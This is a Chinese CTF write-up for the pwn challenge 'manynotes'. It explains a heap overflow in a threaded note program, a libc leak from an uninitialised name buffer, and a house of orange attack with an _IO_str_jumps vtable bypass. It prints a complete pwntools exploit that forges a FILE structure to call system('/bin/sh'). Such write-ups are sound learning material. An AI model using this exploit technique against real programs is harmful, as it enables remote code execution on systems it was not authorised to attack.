[Pwn] manynotes - cpt.shao xp0int Posted on May 20 2019 就像最后的flag提示的,就是一个在thread中的house of orange利用。 漏洞在填充chunk的时候可以进行溢出。  原版house of orange的做法是改小top chunk的size来生成一个位于unsortedbin中的chunk。然而调试发现在thread里面并不行,当检测到top chunk大小不足的时候,程序会直接增加top chunk的size来补充空间。 由于程序提供的padding和size大得让人觉得非常可疑,于是,直接使用padding功能不断分配内存来消耗分页的内存。直到耗尽当前分页的内存,再分配一个大于top chunk size的chunk时候就会生成一个unsorted bin chunk了。 程序的输出机制并不能够造成泄露,在这里卡了好久,最终发现一开始的name输入输出处就有内存未初始化的问题,可以泄露出一个残留的libc地址。 有了libc地址就能直接进行unsorted bin attack来完成house of orange的攻击了,由于是2.26的libc,所以需要绕过虚表检测,不过问题不大。 ## exp.py ```python from pwn import * from FILE import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' context.log_level = "debug" env = {'LD_PRELOAD': './libc.so.6'} libc = ELF('./libc.so.6') if len(sys.argv) == 1: p = process('./many_notes', env=env) elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) def rc(x): return p.recv(x) def ru(x): return p.recvuntil(x) def se(x): return p.send(x) def sl(x): return p.sendline(x) def sea(a, b): return p.sendafter(a, b) def sla(a, b): return p.sendlineafter(a, b) def info_addr(tag, addr): return p.info(tag + ': {:#x}'.format(addr)) def login(name): sla("name: ", name) def alloc(size, padding, content=[]): sla("Choice: ", "0") sla("Size: ", str(size)) sla("Padding: ", str(padding)) if len(content): sla("): ", "1") for i in content: se(i) time.sleep(0.5) else: sla("): ", "0") login("AAAAAAA") ru("A\n") leak_libc = u64(rc(6) + '\x00\x00') info_addr("leak_libc", leak_libc) libc.address = leak_libc - libc.symbols['_IO_2_1_stdout_'] info_addr("libc", libc.address) for i in range(7): alloc(0x2000, 0x400, []) alloc(0x2000, 0x3e7, []) alloc(0x1100, 0, []) alloc(0x510, 0, []) # house of orange phase 2 _IO_str_jumps1 = libc.address + 0x3a74e0 _IO_str_jumps2 = libc.address + 0x3a75c0 file = IO_FILE_plus_struct() file['_flags'] = 0 file['_IO_read_ptr'] = 0x61 file['_IO_read_base'] = libc.symbols['_IO_list_all'] - 0x10 file['_IO_write_ptr'] = 1 file['_IO_buf_base'] = libc.search("/bin/sh").next() file['_mode'] = 0 file['vtable'] = _IO_str_jumps1 - 8 payload = str(file).ljust(0xe8, '\x00') + p64(libc.symbols['system']) alloc(0x200, 0, ["A"*0x1ff, "A" + payload]) sla("Choice: ", "0") sla("Size: ", str(0x400)) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc] draw - Donek1 [Pwn] shellcocer - cpt.shao
没有帐号? 立即注册